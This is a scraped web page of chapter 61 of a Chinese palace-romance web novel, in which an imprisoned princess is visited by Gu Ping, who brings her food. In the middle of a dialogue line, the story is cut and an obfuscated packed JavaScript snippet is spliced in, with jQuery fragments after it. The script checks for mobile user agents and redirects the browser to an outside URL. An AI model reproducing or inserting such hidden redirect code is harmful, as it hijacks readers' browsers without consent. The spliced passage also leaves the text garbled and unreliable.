默认冷灰
24号文字
方正启体

61. 第61章

作者:Medear本书字数:K更新时间:
    漆黑狭窄的走道尽头亮着一豆火光。


    面对浓重到仿佛能够吸收一切光线的黑暗,那一豆火光显得极为孱弱,仿佛下一秒就会熄灭。


    赵玄真低头看向自己的双手,不出意外地什么也没看见。


    她苦笑一下,伸着手在自己的牢房中摸索。


    跟其它牢房比起来,赵玄真的这间牢房要干净许多,甚至几乎都没什么异味。


    赵玄真眯着眼睛摸索着走了好几步,这才艰难地找到自己的“床铺。”


    此时她的眼睛终于适应了昏暗的光线,她低头一看,面前的“床铺”说是“床铺”,其实就是稻草上面铺着一床被子。


    现在外面已是初夏时节,可宗人府的地牢里却依然阴冷非常。


    穿着单薄衣裙的赵玄真抱着膀子瑟瑟发抖,她真的觉得太冷了,又困得不行。


    顾不上嫌弃,她弯腰伸手试探了一下。


    出乎意料,赵玄真动作一顿。


    指尖的稻草清爽干燥,连同稻草上面的被褥也温暖厚实,熟悉的香气从被褥上散发出来,在她的鼻尖萦绕。


    这是芳华殿中的味道。


    不用想都知道这被褥是知书知棋送来的,她们是怕自己在里面睡得不好,赵玄真心里一暖。


    她立即褪去鞋袜,钻进被褥。


    动作间膝盖上传来尖锐的疼痛,赵玄真忍不住轻轻嘶了一声。


    她这才想起自己额头和膝盖上的伤,她支起身子朝牢房一角看去。


    伤口已经上了药,被妥帖地包扎起来,寂空给的药和糖由知书知棋包裹好,一同给她带了进来。


    现下就放在墙角处。


    ——“殿下,天气热了,您一定要记得勤换药。”


    耳边回想起知书的叮嘱,赵玄真闭上眼睛,心说宗人府里冷得很,不那么勤也没事……


    就在她意识迷糊即将睡着之际,她忽然察觉有些不对。


    赵玄真在身下的稻草堆中扒拉出一个小洞,而后伸手一探,不出所料地摸到一床厚实柔软的褥子。


    果然……


    赵玄真一笑,宗人府的李大人是会办事的。


    这是好事,宗人府里异常阴冷,有了褥子和被子,她起码不用受冻了。


    赵玄真紧紧地裹着被子,把鼻子埋在被子里,深深地不断地嗅闻被子上残留的芳华殿的香气。


    前天的这个时候,她正躺在芳华殿的软塌上,一吃点心一边看闲书,看到精彩的部分,她还刻意记了一下,想着下次见到顾平要与他分享。


    知书知棋在自己的身边做针线,时不时还笑着闹几句。


    明画端了盏枫露茶进来,让自己歇歇眼睛……


    这些最不值钱的日常在此时都显得尤为珍贵,赵玄真不想去想,可这些画面还是一幕幕地在她眼前闪过。


    渐渐地,顾平、知书、知棋等人的画面越来越少,关于皇帝的记忆开始在脑海中浮现。


    那些回忆就如同一朵逐渐糜烂的花,盛开时美好,可凋谢后却黏腻腥臭。


    赵玄真蜷着身子缩起来,这个姿势让她的肩膀很疼,可唯有这样,她才能稍微安心一点。


    皇帝还在昏迷不醒……


    他什么时候才能醒……


    他醒来后,会怎么处置自己……


    赵玄真的脑子中一团乱麻,她想了许久,最终在不知不觉间睡着了。


    梦里衙役前来放饭,喊了她几声,赵玄真没应也没动弹,她实在是太困了,只能勉强睁眼往大牢门口看去。


    门口放着三个碗,分别装着馒头、小菜、清粥。


    这在宗人府中应该算是比较好的吃食了,但赵玄真依然没有胃口。


    她看了几眼,便又重闭上眼睛。


    知书给她梳的头发太过结实,硬邦邦的一团硌在她后脑勺处,让她怎么躺都不舒服。


    赵玄真闭着眼睛,带着点笑意埋怨道:“真烦人。”


    话音未落,她便又蓦地沉沉睡去。


    通往牢房的走到狭窄悠长,又过于安静,以至于任何一丝细微的声响都会先得尤为明显。


    可就算都那么明显了,顾平等人赶来的脚步声也没能把赵玄真吵醒。


    黑暗中,李大人正慌忙殷勤的吩咐衙役打开牢房。


    顾平站在牢房前,凝着眉头往里看。


    牢房里面一片漆黑,看上去简直像是空的。


    他看了许久,这才终于在墙角的被子上找到一道稍微隆起一点的弧度。


    心尖陡然一颤,在牢房门打开的瞬间,他便急不可待地冲了进去。


    赵玄真裹着被子睡得很熟,短短半日未见,她的身上又多出了几道新伤。


    顾平指尖颤抖着,轻轻地触碰了一下赵玄真额头上的绷带。


    好可怜,怎么会那么可怜?


    她总是擅长把自己弄得很狼狈。


    身后还站着乌泱泱地一丛人,顾平克制的收回手。


    这不怪她,如果有得选,谁愿意那么辛苦、那么狼狈。


    是皇帝的错。


    是赵玄琮的错。


    是自己的错……


    顾平抬眸打量着这间牢房,赵玄真何曾住过这种破烂脏污的地方。


    目光落到门口处放的餐食上,竹筷和瓷勺都还干净规整地摆放在碗边,一看就还没动过。


    她没吃……


    顾平整颗心都揪在了一起,他先是心疼赵玄真不吃东西,而后又是心疼赵玄真只有这些东西可以吃。


    她吃东西向来挑剔,长相稍微丑一点、味道稍微差一点,她都不愿意动筷子。


    如今却只能吃这些……


    “真真?”顾平轻声叫她。


    睡梦中的赵玄真迷迷糊糊地应了一声。


    “真真,”顾平又道,“我来看你了。”


    赵玄真唔了一声,而后迷茫地睁开眼睛。


    牢房里太黑了,她盯着眼前空虚的黑暗看了半晌,终于适应了眼前的光线,这才偏头看向蹲在一边的顾平。


    “顾平,”赵玄真笑了一下,亮着眼睛道:“你来啦。”


    顾平哑着嗓音嗯了一声,道:“奉太后之命,前来看你。”


    赵玄真敏锐地从他的话中,察觉出些许的不对,但具体是什么地方不对,赵玄真一时也说不上来。


    既然是奉太后之命来的,赵玄真也只好道:“罪女赵玄真多谢太后关心。”


    顾平眼神一暗,没再说什么。


    黑暗中,赵玄真觑着顾平的神色,心里十分忐忑。


    自己今日的举动想必顾平已有耳闻,自己那么做,他必定会不高兴……


    “我没有别的办法了,”赵玄真小声说道,“错了就是错了。”


    意识到赵玄真在跟自己解释,顾平心里又是一阵难过,他轻轻点头嗯了一声,道:“公主的心意,太后都明白。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012456|189825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    李大人观摩二人的交流,适时说道:“想必太后还有话要代交,小侯爷与九殿下慢聊。”


    “臣不便打扰,先行告退了。”


    李大人说着带着衙役和宫人走出牢房,将顾平和赵玄真单独锁在牢房中。


    闲杂人等一退下,赵玄真便盯着顾平直接问道:“太后明白,那你明白吗?”


    顾平面色一僵,他艰难地开口,道:“明白的。”


    咦?赵玄真心里有些稀奇,这次的顾平竟然出人意料地好哄。


    赵玄真心里瞬间有些甜滋滋的,她微微一笑,凑过去就想奖励顾平一个香吻。


    却见顾平迅速地偏过了头。


    赵玄真心里一沉,心说不好,好哄只是假象,这次依然还是很难哄。


    简直顽固不化不明事理,赵玄真有些心烦,索性不哄了,她嘴一撇,颐指气使道:“我饿了,你去把饭给我端来。”


    顾平闻言,眼眸一颤,目光立即投向那些吃食。


    这些吃食旁人吃得,自己吃得,可赵玄真吃不得!


    她是公主,她不该吃这些东西!


    “别,”顾平僵硬着咬牙道:“别吃。”


    赵玄真扬着眉头,眯着眼睛费力地看,她直觉这些菜应该不会有什么问题。


    “可是我饿了,”赵玄真说道,“我得吃东西。”


    顾平沉默着从身后拿过一个食盒,他打开食盒,里面赫然是一碟凉菜、三叠热炒、一盅炖汤,还有两碟点心。


    赵玄真看着顾平递过来的筷子,一时间有些无语。


    “多吃点,”顾平把饭端给她,“你从昨天开始,就没怎么吃东西。”


    顾平不说还好,他这么一说,赵玄真立刻觉得自己的五脏六腑都空荡荡得绞在了一处。


    她接过顾平递过来的饭扒了几口。


    顾平愣怔地盯着她,他还是第一见到赵玄真吃得那么急。


    几口饭下肚,五脏府中的不适感稍微缓解,赵玄真便不再那么急切,她缓慢的咀嚼着口中的饭粒,慢吞吞咽下。


    “顾平,”赵玄真一双眼睛滴溜溜地看着顾平,试探着道:“你不会想每天都这么给我送饭吧?”


    顾平没说话,但赵玄真还是从他收敛的眉目中看出了他的意思。


    “不可!”赵玄真立即说道,“只今日一日,明日\你便不要再来。”


    “你明白我的意思。”


    “我越惨,皇帝醒来后就越心疼我,我的日子也就越好过。”


    “你若是一日三餐这么给我送饭,我之前吃得苦岂不是白费了。”


    这些道理顾平都清楚。


    可他有什么办法,他心疼,一心疼就拎不清。


    顾平垂着头,没说话,只是抬手默默地把菜又往赵玄真的方向推了推。


    看着他小媳妇儿似得,一脸逆来顺受的委屈样子,赵玄真瞬间笑开了颜,她由下而上地于顾平对视,笑道:“你别担心,我在这儿吃得很好。”


    她这么说,顾平却只当她是想让自己宽心。


    “不信,你就去把那碗菜端过来。”赵玄真用筷子往牢房门口一指。


    顾平有些奇怪,却还是按照赵玄真说的把菜端了过来。


    赵玄真意味不明地朝顾平递过去一个眼神,接着拿起碗边的筷子一搅。


    绿油油的菜叶之下,炖煮得软烂的乌鸡伴着鲜香的瑶柱海参一起被翻了上来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)